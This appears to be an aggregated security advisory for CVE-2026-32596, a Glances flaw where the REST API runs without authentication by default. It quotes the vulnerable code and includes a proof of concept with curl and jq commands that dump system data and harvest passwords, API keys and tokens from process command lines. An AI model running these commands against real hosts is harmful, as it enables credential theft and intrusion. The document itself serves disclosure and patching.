8.7high
Glances exposes the REST API without authentication
- Severity
- 8.7high CVSS:4.0 by GitHub_M
- Exploit likelihood
- 1.69% (higher than 77% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-wvxv-4j8q-4wjqPYSEC-2026-2166
Description
Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.2, Glances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client. Version 4.5.2 fixes the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| nicolargo glances | < 4.5.2, before 4.5.2 | CVE List, NVD |
| glances (PyPI) | before 4.5.2 | GitHub Advisory Database, PyPA Advisory Database |
All scores
| GitHub_M | 8.7high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N |
| NVD | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| PyPA Advisory Database | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.2, Glances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client. Version 4.5.2 fixes the issue.
GitHub Advisory Database
Summary
Glances web server runs without authentication by default when started with glances -w, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.
Details
Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.
Affected Code:
- File:
glances/outputs/glances_restful_api.py, lines 259-272
if self.args.password:
self._password = GlancesPassword(username=args.username, config=config)
if JWT_AVAILABLE:
jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None)
jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60)
self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)
logger.info(f"JWT authentication enabled (token expiration: {jwt_expire} minutes)")
else:
self._jwt_handler = None
logger.info("JWT authentication not available (python-jose not installed)")
else:
self._password = None # NO AUTHENTICATION BY DEFAULT
self._jwt_handler = None
- File:
glances/outputs/glances_restful_api.py, lines 477-480
if self.args.password:
router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
router = APIRouter(prefix=self.url_prefix) # NO AUTH DEPENDENCY
- File:
glances/outputs/glances_restful_api.py, lines 98-99
self.bind_address = args.bind_address or "0.0.0.0" # BINDS TO ALL INTERFACES
self.port = args.port or 61208
- File:
glances/plugins/processlist/__init__.py, lines 127-140
enable_stats = [
'cpu_percent',
'memory_percent',
'memory_info',
'pid',
'username',
'cpu_times',
'num_threads',
'nice',
'status',
'io_counters',
'cpu_num',
'cmdline', # FULL COMMAND LINE EXPOSED, NO SANITIZATION
]
PoC
- Start Glances in default web server mode:
glances -w
# Output: Glances Web User Interface started on http://0.0.0.0:61208/
- Access API without authentication from any network client:
curl -s http://TARGET:61208/api/4/system | jq .
image
- Extract system information:
curl -s http://TARGET:61208/api/4/all > system_dump.json
image
- Harvest credentials from process list:
curl -s http://TARGET:61208/api/4/processlist | \
jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) |
{pid, username, process: .name, cmdline}'
- Example credential exposure:
{
"pid": 4059,
"username": "root",
"process": "python3",
"cmdline": [
"python3",
"-c",
"import time; time.sleep(3600)",
"--api-key=sk-super-secret-token-12345",
"--password=MySecretPassword123",
"--db-pass=admin123"
]
}
Impact
Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.
NVD (es)
Glances es una herramienta de monitoreo de sistemas multiplataforma de código abierto. Antes de la versión 4.5.2, el servidor web de Glances se ejecuta sin autenticación por defecto cuando se inicia con 'glances -w', exponiendo la API REST con información sensible del sistema, incluyendo líneas de comando de procesos que contienen credenciales (contraseñas, claves de API, tokens) a cualquier cliente de red. La versión 4.5.2 soluciona el problema.
References
| https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjq | evidence, exploit, vendor-advisory, web | |
| https://github.com/nicolargo/glances/commit/208d876118fea5758970f33fd7474908bd403d25 | fix, patch, web | |
| https://github.com/nicolargo/glances/releases/tag/v4.5.2 | advisory, product, release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-32596 | advisory | |
| https://github.com/nicolargo/glances | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-32596 changed 2026-03-18 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-wvxv-4j8q-4wjq changed 2026-07-13 | CC-BY-4.0 |
| NVD | CVE-2026-32596 changed 2026-06-17 | Public domain |
| PyPA Advisory Database | PYSEC-2026-2166 changed 2026-07-13 | CC-BY-4.0 |